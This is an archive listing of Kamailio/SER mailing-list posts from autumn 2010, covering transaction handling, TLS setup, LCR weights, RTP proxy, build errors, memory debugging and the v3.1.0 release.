in tm readme there is this kind of example regarding use of t_relay_cancel: if (method == CANCEL) { if (!t_relay_cancel()) { # implicit drop if relaying was successful, # nothing to do # corresponding INVITE transaction found but error occurred sl_reply("500", "Internal Server Error"); drop; } # bad luck, corresponding INVITE transaction is missing, # do the same as for INVITEs } if proxy is processing all invites statefully, why anything needs to be done when invite transaction corresponding the to cancel is missing? isn't it a case of unmatched cancel and the cancel could just be dropped? -- juha

3 5

www_challenge(realm, flags) question
by Juha Heinanen 07 Oct '10

07 Oct '10

does www_challenge(realm, flags) know to send its challenge reply statefully or statelessly depending on if t_newtran() has been called or not? -- juha

2 6

Question about early media
by Asim Riaz 07 Oct '10

07 Oct '10

Hi List, Phone-1 ------->Proxy1 (kamailio)-------------->Proxy-2(3rd party) -------------> phone 2 Calls from phone-1 to phone-2, proxy-2 is sending early media without sdp in provisional reply, this early media is sourced from different port than response (200), what port proxy-1 will use to transmit actual voice, the source port in early media or source port in response(200) which is different than early media. Thanks, Asim

4 5

WARNING: script writer didn't release transaction
by Juha Heinanen 07 Oct '10

07 Oct '10

after playing with t_newtran(), i started to get these to syslog: Oct 7 15:39:11 sip /usr/sbin/sip-proxy[26119]: WARNING: tm [t_lookup.c:1543]: WARNING: script writer didn't release transaction as far as i remember, in k these messages were not printed, because transactions were freed automatically when script ended. also, example in section 1.3.3. nonce_count of auth module does not include any t_release() calls. where exactly should they be put? -- juha

2 2

auth module README t_newtran() issue
by Juha Heinanen 07 Oct '10

07 Oct '10

in auth module readme, there is this kind of example code in section 1.3.3. nonce_count: # go stateful and catch retransmissions if (!t_newtran()) drop; # retransmission based on tm source comment, the #retransmission comment is not correct: /** if no transaction already exists for the message, create a new one. * atomic "new_tran" construct; it returns: * * @return <0 on error * +1 if a request did not match a transaction * 0 on retransmission that is, if t_newtran() returns false, there has been an error. drop happens automatically in case of retransmission. -- juha

2 1

kamailio 3.0.3 tls problems
by Rouskol Andrey 07 Oct '10

07 Oct '10

Hello, I have a problem running kamailio with tls support. I can successfully register only for the first time, all further registration fails with the following message in the log: Sep 28 11:53:55 siptest /usr/sbin/kamailio[16963]: ERROR: tls [tls_server.c:392]: SSL error:error:07064041:memory buffer routines:BUF_MEM_grow:malloc failure The system is a default kamailio installation on a Debian 5.0.6 system. Does somebody know what could cause the problem? Regards, Andrey.

5 17

authenticating users based on IP address and limiting the number of channels for the users using Kamailio 3.0 and Siremis 1.0
by Shrouk Khan 07 Oct '10

07 Oct '10

hi, i have been looking for a way to authenticate users based on the IP from they come from . Also i would like to limit the number of channels ( simultaneous calls) that each user can make . is their any way to do this using kamailio 3.0 and siremis 1.0 ? my configuration is like this: sipphones --->UserGroup1(Asterisk PBX)---->KamailioSipProxy--->AsteriskPSTNGateway--->PSTN 1. there can be many softphones on the user group 1 and there can be multiple calls coming from there at any time. 2. UserGroup1 is actually another SIP proxy [asterisk] with a fixed public IP 3. Kamailio Sip proxy is the one i am trying to configure . I would like to authenticate UserGroup1 based on its public IP address 4. From kamailio , calls will be forwarded to a asterisk pstn gateway. I would like to put restriction on this one : " User group 1 can not make more than 5 concurrent calls at a time" can anyone give me some suggestion or point me in some direction where I can do some reading on this one. Aslo , what would be best way to bill this UserGroup1 ? Using FreeRadius and CDRTool ? -- Regards Shrouk Khan (Khan) System Administrator / Telecommunication System Developer Office: +354 4400807 (Reykjavik) +44 2031370800 (London) Mobile: +66 875049439 (Bangkok) Web: www.softverk.is Reykjavik, Iceland // London, UK // Bangkok, Thailand

5 5

force_rtp_proxy assistance
by Stagg Shelton 06 Oct '10

06 Oct '10

I'm working on a setup where we have rtpproxy on a machine with eth0 IP 10.10.5.141/19 and eth1 IP 10.10.10.78/24. When using force_rtp_proxy("","10.10.5.141"); the connection information (c) field in the SDP is not being set to the ip 10.10.5.141 It is instead being set to 10.10.10.78 We are starting to run out of ideas on getting the proper contact address into the sdp based on call source signaling ip. Does anyone have any ideas what the problem could be? Thanks Stagg

3 8

Re: [SR-Users] add fromuser to sip request
by JR Richardson 06 Oct '10

06 Oct '10

>> Hi Alex. I use a general context in asterisk to route calls already >> and wanted to get away from pattern matches. I'm using asterisk >> realtime and want to decrease the load. I'll play around with the >> 'uac_replace_from()' and 'append_hf' to see what works best for me. > > Well, you don't have to use pattern matches. :-) You can always > direct to fixed extensions, a la: > > exten => moh,1,Answer > exten => moh,n,MusicOnHold > exten => moh,n,Hangup > > Those should be pretty snappy, even in realtime. > So the first thing I notice with using 'uac_replace_from()' is the caller ID number is replaced with the replaced value, so I guess this is not what I need for my particular application. I'll fool around with the 'append_hf' and some pattern matches. Thanks. JR -- JR Richardson Engineering for the Masses

2 1

Kamailio v3.1.0 Released
by Daniel-Constantin Mierla 06 Oct '10

06 Oct '10

Kamailio (OpenSER) v3.1.0 is out – major release with impressing number of new features and improvements. This release is a result of more than 8 months of development and testing from the teams of Kamailio (OpenSER) and SIP Express Router (SER) projects. Backed up by a solid development group, we are proud to announce that this release brings a large set of features, many for first time on the SIP server market, such as asynchronous TLS, UDP raw sockets, embedded HTTP and XCAP servers, embedded Lua, configuration file debugger. All together, there are over 15 new modules and countless improvements to old components. Since last major release (version 3.0.0, which was out in January 10, 2010), the two SIP servers, Kamailio and SER, are practically the same application, the name making the difference regarding the database structure and the extensions used for certain features, such as user database based authentication or location service. Therefore another development direction was towards smooth integration of Kamailio and SER extensions, previously duplicated modules such as auth, sl, ratelimit or sms were merged during this development cycle. Continue reading the release notes at: http://www.kamailio.org/w/kamailio-openser-v3.1.0-release-notes/ Many thanks to all developers and community members that made possible this release. -- Daniel-Constantin Mierla http://www.asipto.com

2 2

General question
by Uriel Rozenbaum 06 Oct '10

06 Oct '10

Guys, This mail has nothing to do with Kamailio or SR, so feel free to discard it. I'm trying to find a command-line tool to grab updates from an RSS feed. I tried to install rsstail but it has a lot of dependencies and cannot make it work. Does anyone have some software I can download and use in Centos 5.2? Thanks! Uriel

1 0

Problem with debug memory: kill -SIGUSR1 doesn't work fine
by César Pinto Magán 06 Oct '10

06 Oct '10

Hello, We had been experiencing memory leaks issues with our Kamailio deployment. Some of the process started to use all their assigned memory and arises allocation memory errors. Using the "kill -SIGUSR1" as explained in the Kamailio wiki and found the problem: Sep 8 11:34:04 localhost /sbin/kamailio[17275]: INFO: <core> [main.c:788]: INFO: signal 15 received Sep 8 11:34:04 localhost /sbin/kamailio[17275]: INFO: <core> [main.c:799]: Memory status (pkg): Sep 8 11:34:04 localhost /sbin/kamailio[17275]: INFO: qm_status: (0x885a60): Sep 8 11:34:04 localhost /sbin/kamailio[17275]: INFO: qm_status: heap size= 67108864 Sep 8 11:34:04 localhost /sbin/kamailio[17275]: INFO: qm_status: used= 60641440, used+overhead=67096424, free=12440 Sep 8 11:34:04 localhost /sbin/kamailio[17275]: INFO: qm_status: max used (+overhead)= 67102896 Sep 8 11:34:04 localhost /sbin/kamailio[17275]: INFO: qm_status: dumping all alloc'ed. fragments: Sep 8 11:34:04 localhost /sbin/kamailio[17275]: INFO: qm_status: 0. N address=0x8baf78 frag=0x8baf48 size=16 used=1 Sep 8 11:34:04 localhost /sbin/kamailio[17275]: INFO: qm_status: alloc'd from <core>: rvalue.c: mk_rval_expr_v(2452) Sep 8 11:34:04 localhost /sbin/kamailio[17275]: INFO: qm_status: start check=f0f0f0f0, end check= c0c0c0c0, abcdefed ... Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: 1618. N address=0x95e920 frag=0x95e8f0 size=936 used=1 Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: alloc'd from <core>: rvalue.c: rval_new_empty(233) Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: start check=f0f0f0f0, end check= c0c0c0c0, abcdefed Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: 1633. N address=0x95f528 frag=0x95f4f8 size=936 used=1 Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: alloc'd from <core>: rvalue.c: rval_new_empty(233) Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: start check=f0f0f0f0, end check= c0c0c0c0, abcdefed Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: 1634. N address=0x95f930 frag=0x95f900 size=936 used=1 Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: alloc'd from <core>: rvalue.c: rval_new_empty(233) Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: start check=f0f0f0f0, end check= c0c0c0c0, abcdefed Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: 1696. N address=0x962298 frag=0x962268 size=944 used=1 Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: alloc'd from <core>: rvalue.c: rval_new_empty(233) Sep 8 11:34:06 localhost /sbin/kamailio[17275]: INFO: qm_status: start check=f0f0f0f0, end check= c0c0c0c0, abcdefed . . (the rvalue.c repeats all the time) . Sep 8 11:34:23 localhost /sbin/kamailio[17275]: INFO: qm_status: 64963. N address=0x4885118 frag=0x48850e8 size=944 used=1 Sep 8 11:34:23 localhost /sbin/kamailio[17275]: INFO: qm_status: alloc'd from <core>: rvalue.c: rval_new_empty(233) Sep 8 11:34:23 localhost /sbin/kamailio[17275]: INFO: qm_status: start check=f0f0f0f0, end check= c0c0c0c0, abcdefed Sep 8 11:34:23 localhost /sbin/kamailio[17275]: INFO: qm_status: 64964. N address=0x4885528 frag=0x48854f8 size=1288 used=1 Sep 8 11:34:23 localhost /sbin/kamailio[17275]: INFO: qm_status: alloc'd from <core>: rvalue.c: rval_new_empty(233) Sep 8 11:34:23 localhost /sbin/kamailio[17275]: INFO: qm_status: start check=f0f0f0f0, end check= c0c0c0c0, abcdefed We saw there was several core memory leaks resolved in the 3.0.3 version (we had the 3.0.2), so we decided to upgrade to that version. Now I was trying to check the memory status of the process (in order to see if the problem is arising again) with "kill -SIGUSR1" but now only show the memory status of the shm and the memory of the attendant process (the one who launch the other ones). I had tried to send the signal to each of the son process but I see nothing in the log. Is this a new bug or is that there is other new way to see the memory status of the processes? Thanks in advance, http://www.alhambra-eidos.es/CO/1.gif<http://www.alhambra-eidos.es/CO/1.gif> César Pinto. ICM Team +34 91 787 23 00 http://www.alhambra-eidos.es/CO/3.gif <http://www.alhambra-eidos.es/>

2 2

Fwd: lua.h / lauxlib.h issue while making deb pkgs ! (for 3.1 master branch i.e)
by X- x -X 06 Oct '10

06 Oct '10

Shouldn't me doing " git pull " today /even now have fixed it ? (it still not doing it for me though). I still get that error. of not finding those lua.h etc.. I do see it being upgrade to 3.1 during the compile ........................... dpkg-buildpackage: source package kamailio dpkg-buildpackage: source version 3.1.0 dpkg-buildpackage: source changed by Daniel-Constantin Mierla < miconda(a)gmail.com> dpkg-buildpackage: host architecture i386 .......................... On Wed, Oct 6, 2010 at 6:03 AM, Jon Bonilla <manwe(a)aholab.ehu.es> wrote: > El Wed, 6 Oct 2010 04:55:55 -0400 > X- x -X <myonlinedisk(a)gmail.com> escribió: > > > Hey Jony, > > > > while during "make deb" it complains of lua files > > > > Make sure you have an updated 3.1 branch. There was a fix for this > yesterday by > Daniel. > >

1 0

start preparing 3.1.0 release in 2 hours
by Daniel-Constantin Mierla 06 Oct '10

06 Oct '10

Hello, in order to build the packages for 3.1.0 without conflicts, please make your commits before 14:00CEST (Madrid, Paris, Berlin - UTC+2). If you still have some to do afterwards, please ask on sr-dev(a)lists.sip-router.org before committing. Thanks, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

1 0

lua.h / lauxlib.h issue while making deb pkgs ! (for 3.1 master branch i.e)
by X- x -X 06 Oct '10

06 Oct '10

Hey Jony, while during "make deb" it complains of lua files output .................................. In file included from app_lua_api.c:37: app_lua_api.h:27:17: warning: lua.h: No such file or directory app_lua_api.h:28:21: warning: lauxlib.h: No such file or directory app_lua_api.h:29:20: warning: lualib.h: No such file or directory In file included from app_lua_api.c:37: app_lua_api.h:35: error: expected specifier-qualifier-list before ‘lua_State’ app_lua_api.h:58: error: expected ‘)’ before ‘*’ token --------------------------------- I have all the 3 versions devs of lua installed debbox:~/kamailio# apt-file search lualib.h liblua5.1-0-dev: /usr/include/lua5.1/lualib.h liblualib40-dev: /usr/include/lua40/lualib.h liblualib50-dev: /usr/include/lua50/lualib.h dpkg - L | grep -i liblua debbox:~/kamailio# dpkg -l |grep lua ii liblua40 4.0-13 Main interpreter library for the Lua 4.0 programming language ii liblua40-dev 4.0-13 Main interpreter library for lua40: static library and headers ii liblua5.1-0 5.1.3-1 Simple, extensible, embeddable programming language ii liblua5.1-0-dev 5.1.3-1 Simple, extensible, embeddable programming language ii liblua50 5.0.3-3 Main interpreter library for the Lua 5.0 programming language ii liblua50-dev 5.0.3-3 Main interpreter library for Lua 5.0: static library and heade ii liblualib40 4.0-13 Extension library for the Lua 4.0 programming language ii liblualib40-dev 4.0-13 Extension library for Lua 4.0: static and headers ii liblualib50 5.0.3-3 Extension library for the Lua 5.0 programming language ii liblualib50-dev 5.0.3-3 Extension library for Lua 5.0: static and headers ii lua50 5.0.3-3 Small embeddable language with simple procedural syntax I reckon the path is not correct in one of the header files. vi modules/app_lua/app_lua_api.h ..................... #include <lua.h> #include <lauxlib.h> #include <lualib.h> ........................ could you enlighten me ? Thanx.

2 1

Re: [SR-Users] add fromuser to sip request
by JR Richardson 05 Oct '10

05 Oct '10

>> In Kamailio, how would I go about receiving a sip request, append a >> user "sipentry1" then forward it to Asterisk? I would be using some >> sort of trunk prefix to identify which sip request to append the user >> like: >> >> 552145551212@siprouter, strip 55, append user "sipentry1", dispatch >> t-relay to asterisk >> 562145551212@siprouter, strip 56, append user "sipentry2", dispatch >> t-relay to asterisk >> 572145551212@siprouter, strip 57, append user "sipentry3", dispatch >> t-relay to asterisk >> >> Any point in the right direction will be appriciated. Which module >> should I be looking into? > > In Asterisk, sip.conf peer matching is done by source host and port > unless the 'type' is set to 'dynamic'. > > That said, if your desire is to change the From header display name or > user part of the From URI, you should use the 'uac' module and look > into the 'uac_replace_from()' function. It's a little unorthodox by > RFC 2543 standards, but because it spoofs the From header statefully > and reverts the value on replies before passing back to the near > end--such that the initiating endpoint is none the wiser--it works. > > Otherwise, if your main desire is to customise entry points into > various dial plan contexts for otherwise similar calls, I suggest > routing on a different criterion. Custom headers have sort of become > a de facto means of out-of-band inter-machine associated signaling > additions in SIP where it is possible to add them. Why not use a > custom header? In Kamailio, add a header to the initial INVITE > request that is something like: > > append_hf("X-JR-Dialplan-Target: my_context"); > > Then, route all calls in Asterisk via one sip.conf peer and into one > "master" dial plan context, where you can then make further routing > decisions based on the value of the header - sip.conf: > > [my_proxy] > ... > host=xx.xx.xx.xx > insecure=port,invite > ... > context=master_dp_router > > And then in extensions.conf: > > [master_dp_router] > > exten => _.,1,Goto(${SIP_HEADER(X-JR-Dialplan-Target)},${EXTEN},1) > > ... > > [my_context] > > exten => 5551212,1,Answer > exten => 5551212,n,Playback(hello-world) > ... > Alex Balashov - Principal > Evariste Systems LLC Hi Alex. I use a general context in asterisk to route calls already and wanted to get away from pattern matches. I'm using asterisk realtime and want to decrease the load. I'll play around with the 'uac_replace_from()' and 'append_hf' to see what works best for me. I really appreciate your quick response, very insightful. Thanks. JR -- JR Richardson Engineering for the Masses

2 1

add fromuser to sip request
by JR Richardson 05 Oct '10

05 Oct '10

Hi All, I am using Kamilio 3.0.2 as a load balancer in front of Asterisk servers, using Dispatcher/PDT and such, working fine. I would like to be able to bring sip calls into Asterisk at different entry points in the dialp plan, so I want to setup sip users; [sipentry1] contex=blah, [sipentry2] context=blahblah. In Kamailio, how would I go about receiving a sip request, append a user "sipentry1" then forward it to Asterisk? I would be using some sort of trunk prefix to identify which sip request to append the user like: 552145551212@siprouter, strip 55, append user "sipentry1", dispatch t-relay to asterisk 562145551212@siprouter, strip 56, append user "sipentry2", dispatch t-relay to asterisk 572145551212@siprouter, strip 57, append user "sipentry3", dispatch t-relay to asterisk Any point in the right direction will be appriciated. Which module should I be looking into? Thanks. JR -- JR Richardson Engineering for the Masses

2 1

Tutorial: SIP SIMPLE Presence Made Simple with Kamailio 3.1
by Daniel-Constantin Mierla 05 Oct '10

05 Oct '10

Hello, I published a tutorial of how to implement a SIP SIMPLE Presence & XCAP server with latest Kamailio/SER version. You can find it at: http://bit.ly/btrJij Last build of SIP Communicator softphone was used to exemplify some use cases. xcap_server is a new module in upcoming v3.1.0, I have tested it with several SIP clients, but I have to say is not easy to find one that implements many presence & xcap extensions (filled already couple of bugs so far). So consider it a young component by now, however, with it inside our SIP server, deploying a SIP presence server becomes trivial. Hope is helpful, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

4 14

retrieve INVITE transaction in CANCEL
by Zappasodi Daniele 05 Oct '10

05 Oct '10

Hello, is it possible to retrieve the info related to the INVITE transaction while the CANCEL is processed? In particular, when the script is handling the CANCEL, how can I get the avp values written in the corresponding INVITE transaction? Thanks, Daniele ********************************************************************** The information in this message is confidential and may be legally privileged. It is intended solely for the addressee. Access to this message by anyone else is unauthorized. If you are not the intended recipient, any disclosure, copying, or distribution of the message, or any action or omission taken by you in reliance on it, is prohibited and may be unlawful. Please immediately contact the sender if you have received this message in error. **********************************************************************

2 1

Re: [SR-Users] Error on radius accounting
by Asim Riaz 04 Oct '10

04 Oct '10

Hi List, Having an issue with my freeradius, I am getting below errors when kamailio sends radius records and freeradius try to store into database; Error: Ignoring request from unknown client 192.168.1.100:1814 Radius client and server are running on the same machine and I have necessary configuration in clinet.conf and server.conf for localhost and I can see radius is writing record for the calls but looks like radius client is trying to send record twice one from localhost and one from the interface ip? Error: Rejecting request 88 due to lack of any response from home server OpenSER:5061 Proxy: marking accounting server 192.168.1.100:1813 for realm DEFAULT dead Proxy: marking accounting server 78.137.190.133:1813 for realm DEFAULT dead Error: rlm_sql (sql): Couldn't insert SQL accounting START record - Duplicate entry 'fdeb080-b342ea59-13c4-50022-17bee27-76d4b161-17bee27-fc5b7f8-b34' for key 'sess_id' Error: rlm_sql_mysql: Cannot store result As the radius record being store in the database so looks like its trying to record the same data twice and because the this record already in the database its failing to record the data. I know this is more related to freeradius but I am just wondering if someone experienced the same problem and how it was resolved Thanks, Asim

2 2

version 3.0.2.99 ?
by X- x -X 04 Oct '10

04 Oct '10

Hey Jon, I gather you are the man when it comes to packaging the goods. My query: Building packages for a distribution yields in the end packages with this 3.0.2.99 version. How come ? shoudn't it be 3.1.x (source pulled from git repo of kamailio 3.1) Anyway how are there any test packages out there to be tested before releasing on 6 th ? Thanks --

2 1

"Create Certificates to be used with Kamailio" changes
by Juha Heinanen 04 Oct '10

04 Oct '10

now that 3.1 has async tls support, i decided (first time ever) to try to test tls. things went quite smoothly when i followed "Create Certificates to be used with Kamailio" document http://kamailio.org/dokuwiki/doku.php/tls:create-certificates#using_the_cer… during the process, i fixed a typo in the doc, added two comments to cfg part: enable_tls=1 tcp_async=no # do not include in 3.1 listen=udp:0.0.0.0:5060 listen=tcp:0.0.0.0:5060 listen=tls:0.0.0.0:5061 # not needed in 3.1 and fixed wrong file references in client configurations: eyebeam: copy the CA certificate (/etc/certs/demoCA/cert.pem) to the Windows PC and add it to the Windows certificate store (Start→Control Panel→Internet) QjSimple: copy the CA certificate (/etc/certs/demoCA/cert.pem) to the client PC and configure QjSimple to use this CA (“TLS CA file” and “verify TLS server certificate) earlier the paths pointed to certs/sip.mydomain.com files, which i think were wrong. at least i was not able to get them working. perhaps someone who is more familiar with tsl stuff could verify the above changes. -- juha

4 14

correct way to define flags in Kamailio 3.0.3
by Andrew Pogrebennyk 04 Oct '10

04 Oct '10

What is the correct way to write flags in Kamailio 3.0.3? I've tried both enum-like way: "flags a, b;" and the macro way: "#!define a 1", but neither has worked. I'm getting a syntax error trying to used defined flag, e.g.: modparam("usrloc", "nat_bflag", FLB_NATB) In 3.1 though the macro works fine. -- Sincerely, Andrew Pogrebennyk

2 2

what is new in v3.1.0
by Daniel-Constantin Mierla 04 Oct '10

04 Oct '10

Hello, please check the wiki page for what is new in upcoming v3.1.0 and add missing parts as well as enhance existing ones: http://sip-router.org/wiki/features/new-in-devel Thanks, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

1 0

SER-like domain attributes in Kamailio?
by Andrew Pogrebennyk 04 Oct '10

04 Oct '10

I'm trying to migrate SER 2.0 to Kamailio and right now the major hiccup is migrating lookup_domain(). Is there any replacement for lookup_domain() that would enable you to use the domain attributes in Kamailio? I have come across the old thread "domain attributes" about adpoting the SER domain module: http://www.mail-archive.com/sr-dev@lists.sip-router.org/msg00804.html But I'm not sure what was the outcome. Same for load_attrs() and user_attrs column - it looks like there's no direct replacement for that and I have to migrate it to usr_preferences. -- Sincerely, Andrew Pogrebennyk

2 1

upgrade 3.0.x to 3.1.x tutorial
by Daniel-Constantin Mierla 04 Oct '10

04 Oct '10

Hello, please take a moment and check the upgrade guidelines at: http://sip-router.org/wiki/install/3.0.x-to-3.1.x Add any missing parts you discover and enhance existing sections in order to make the process as smooth as possible. There are only two days left to launch 3.1. Thanks, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

2 5

Re: [SR-Users] [Serusers] Cleaning bad npdi=yes and rn=VALUE tags from INVITEs
by Shawn Smith 04 Oct '10

04 Oct '10

Frank, I have the same/similar issue and I was wondering if you have had any luck ignoring the npdi & rn values in the INVITE packet? Shawn Smith Sr. Senior VoIP Engineer

1 0

Can this be done with xhttp module (3.1 devel)?
by Sergey Okhapkin 02 Oct '10

02 Oct '10

I need to get http request with xhttp module, process request parameters, build SIP request (based on received http parameters), receive SIP reply and send http response back based on SIP reply. HTTP part is simple, but how to send SIP request from event_route[xhttp:request] and get SIP reply? uac_req_send() function doesn't wait for SIP reply, t_uac_dlg MI command does everything needed but is not accessible from config script. Any other ideas/suggestions?

5 15

Meeting in Vinenna, next week, Wed 6, 2010
by Daniel-Constantin Mierla 01 Oct '10

01 Oct '10

Hello, some of us will be next Wednesday in Vienna, Austria and planned to have a dinner - among the things to celebrate is the 3.1 release. If you are around and want to join us, drop me an email. So far, from registered developers, there will be myself, Klaus Darilion, Andreas Graning and maybe Jon Bonilla. Time should be 19:00, place not decided yet - it will be provided by email. It is the usual social-networking-like event we had in the past, everyone paying for himself/herself. Anyone is welcome to join! Cheers, Daniel -- Daniel-Constantin Mierla http://www.asipto.com

2 1

kamailio pre-3.1 configuration error
by Rouskol Andrey 01 Oct '10

01 Oct '10

Hello, It looks, there is a small error in default kamailio.cfg: #!define FLB_NATSIPPING 7 .. route[REGISTRAR] { .. # uncomment next line to do SIP NAT pinging ## setbflag(FLB_SIPPING); ^^^^^^^^^^^^^^^^^^^ Regards, Andrey.

1 0

XCAP 3.1 configuration !
by X- x -X 01 Oct '10

01 Oct '10

Hi Daniel, Im a kamailio 3.1 (testing noobie) Im trying to setup a simple buddy list supporting presence server. (I gather xcap is the way to go) The simple presence thingy works nicely & instantly (thanks to those #!defines ) But I haven't been able to get this configuration going http://sip-router.org/docbook/sip-router/branch/master/modules_k/xcap_serve… I mean loading the modules & setting the modparams is a snap but this routing logic always gets to me. (i.e. those filing off .......... lines in the the routing logic section. Did I mention I was a noobie especially of routing logic section ?) Anyway you have also added this declarative #!ifdef WITH_XHTTPAUTH with in that section, where as its missing in the top section of the kamailio.cfg file. Pasting just about anywhere (or in the end before the } doesn't work for me. Could u be kind enough to elaborate a little more on that or come up with a fuller kamailo.cfg sample file. Thanx & Regards --

4 10

jabber module
by Ovidiu Sas 30 Sep '10

30 Sep '10

The jabber module is obsolete and it still exists in both (s) and (k) module version. We should remove this module from the upcoming 3.1 release. Regards, Ovidiu Sas

3 2

Re: [SR-Users] Asterisk Load balancing and Session Aware
by Alex Balashov 30 Sep '10

30 Sep '10

Ross, On 09/30/2010 10:14 AM, Ross Beer wrote: > The phone sets up another call using INVITE and then uses REFER when > the transfer takes place. Please try to keep the list copied, as a matter of good practice. If I understood your scenario correctly, you don't have a choice but to send the REFER to the same Asterisk server as the one hosting the original call leg, because that is the only server that is aware of that call leg. Perhaps I have not adequately understood. However, if your question is about whether Kamailio can initiate transfers, it can, sort of. You can initiate REFERs and INVITE-hold-REFER-BYE bridges from route script a la: http://www.kamailio.org/docs/modules/3.0.x/modules_k/dialog.html#id2700697 http://www.kamailio.org/docs/modules/3.0.x/modules_k/dialog.html#id2700815 You can also use the management interface to stimulate Kamailio to initiate a 'bridge' of this nature from an outside script: http://www.kamailio.org/docs/modules/3.0.x/modules_k/dialog.html#id2701383 If there is anything that might serve your needs, I think it is that. -- Alex -- Alex Balashov - Principal Evariste Systems LLC 1170 Peachtree Street 12th Floor, Suite 1200 Atlanta, GA 30309 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/

1 0

Asterisk Load balancing and Session Aware
by Ross Beer 30 Sep '10

30 Sep '10

Hi, I would like to know if the following is possible in Kamailio, I've tried with OpenSIPs but I don't think it is ideal for my needs. I would like to load balance multiple asterisk boxes which terminate and originate calls. To transfer calls by attended transfer any new calls originating from a phone need to be sent to the same server as the held call. With the dialogue module I can add the call originating from asterisk to a profile and the new call from the phone can check if the user already belongs to a profile and then send the call to the same gateway. What I would like to know is if there is a better way to do this or if Kamailio can perform the transfer without the need to send the call back to the same asterisk box. I've noticed that the Kamailio dialogue module has a few more features than its OpenSips counterpart. I would be very grateful for any feedback. Regards, Ross

2 1

tm problem with two copies of the same invite
by Juha Heinanen 30 Sep '10

30 Sep '10

there is a broken grandstream sip ua that sometimes sends two initial invites back-to-back. according to wireshark, sr received them about 10 microseconds apart. sr then forwards the request to pstn gw, but i don't have wireshark dump of that side of the traffic. anyway, from the ua side i see that about 10 milliseconds after receiving the invites, sr replies to the ua "503 no more gateways available". in my config that reply comes only from GW_FAILURE failure route, which is set up like this: t_on_failure("GW_FAILURE"); t_set_fr("120000", "5000"); t_relay() so no way should failure route get executed before 5 seconds, but in this back-to-back invite case it somehow gets executed almost immediately. i have not seen this behavior in other situation. this looks like a bug to me. perhaps there is some race condition causing it? version of sr where this appears is 3.0.3. -- juha

2 2

Multiple Servers Serving A Domain
by Jon Farmer 30 Sep '10

30 Sep '10

Hi, I currently have 1 OpenSer server in front of a number of Asterisk boxes. I want to move to a scenario where I have multiple OpenSer boxes serving the same domain name in front of the Asterisk boxes. The UA could be registered on either of the OpenSer via SRV. When Asterisk has a call for the UA is it better to get Asterisk to dial both OpenSER or get one OpenSER to fork the call to the other box? Any opinions please? Regards Jon -- Jon Farmer Tel: 07795 118140 Email: viperdudeuk(a)gmail.com Twitter: @viperdudeuk

2 1

LCR "weight" column question
by Ricardo Martinez 29 Sep '10

29 Sep '10

Hello. I’m wondering how the “Weight” column in the LCR ‘gw’ table Works. I have 5 gateways defined with different weights. gw_name grp_id ip_addr hostname port uri_scheme transport strip tag weight ping flags GW02 58 10.0.0.71 5060 1 1 4 0258 10 0 0 GW03 58 10.0.0.72 5060 1 1 4 0258 10 0 0 GW05 58 10.0.0.132 5060 1 1 4 0258 20 0 0 GW06 58 10.0.0.133 5060 1 1 4 0258 20 0 0 GW09 58 10.0.0.70 5060 1 1 4 0258 20 0 0 GW10 58 10.0.0.69 5060 1 1 4 0258 20 0 0 If I have 100 calls, I was expecting was to have 20 to GW05, 20 to GW06, 20 to GW09 and 20 to GW10 Finalle 10 to GW02 and 10 to GW02. Is this the correct interpretation of this parameter? Thanks in advance. Regards, Ricardo Martinez.-

5 18

Problem with ser - INVITE size problem tcp->udp?
by Simone Felici 29 Sep '10

29 Sep '10

Hello to all! I need a little help with our ser installation (ser-2.0.0-rc1). The continuous groving up of our infrastructure and using even more codecs, causes the INVITE (udp) to be over 1500bytes. An external->incoming call to our proxy sip comes in with a size of ~1300 and will be forwarded to the end device (sua) over 1500. Ser is adding more than 200bytes in the udp packet. I can see 'INVITE' from ser to customer, but the INVITE is not answerred due the size. I'm sure about that, because in certain situations, deleting codec list the packet-size goes under the 1500bytes and all works. To main issue is from external calls to ser server to our customers. Calls started from customers to ser and then out are all ok. Now the question: Could the passage from UDP to TCP solve the issue? Could someone give me an example and how implement it into our ser configuration? The atteched configuration, ser on a mysql basis, is working well in expect the issue described. Thank's a lot for your help! Simon

1 0

Dialog timeout route
by Alex Balashov 29 Sep '10

29 Sep '10

Greetings, Since the move to name-based routes in Kamailio v3.0, what implications does this have for the 'timeout_route' dialog context attribute? Has this been updated to reflect that change, or do I still have to use numerical routes for it? Can I now set this as a named constant, e.g. $dlg_ctx(timeout_route) = DIALOG_TIMEOUT_ROUTE; ... route[DIALOG_TIMEOUT_ROUTE] { ... } or is it a string? $dlg_ctx(timeout_route) = "DIALOG_TIMEOUT_ROUTE"; Thanks! -- Alex Balashov - Principal Evariste Systems LLC 1170 Peachtree Street 12th Floor, Suite 1200 Atlanta, GA 30309 Tel: +1-678-954-0670 Fax: +1-404-961-1892 Web: http://www.evaristesys.com/

2 1

sip-router 3.0.99 newbe question
by Rouskol Andrey 28 Sep '10

28 Sep '10

Hello, Could somebody check if default ser.cfg file is correct in the following section: route[AUTHENTICATION] { .... # check if the UID from the authentication meets the From header $authuid = $uid; if (!lookup_user("$fu.uid", "@from.uri")) { xlog("L_INFO","fu.uid lookup failed\n"); del_attr("$uid"); } if ($fu.uid != $fr.authuid) { sl_reply("403", "Fake Identity"); drop; } .. Because it didn't work for me till I've replaced: if (!lookup_user("$fu.uid", "@from.uri")) { with: if (!lookup_user("$fr.uid", "@from.uri")) { Best regards, Andrey

2 1

Siremis v2.0 preview
by Elena-Ramona Modroiu 28 Sep '10

28 Sep '10

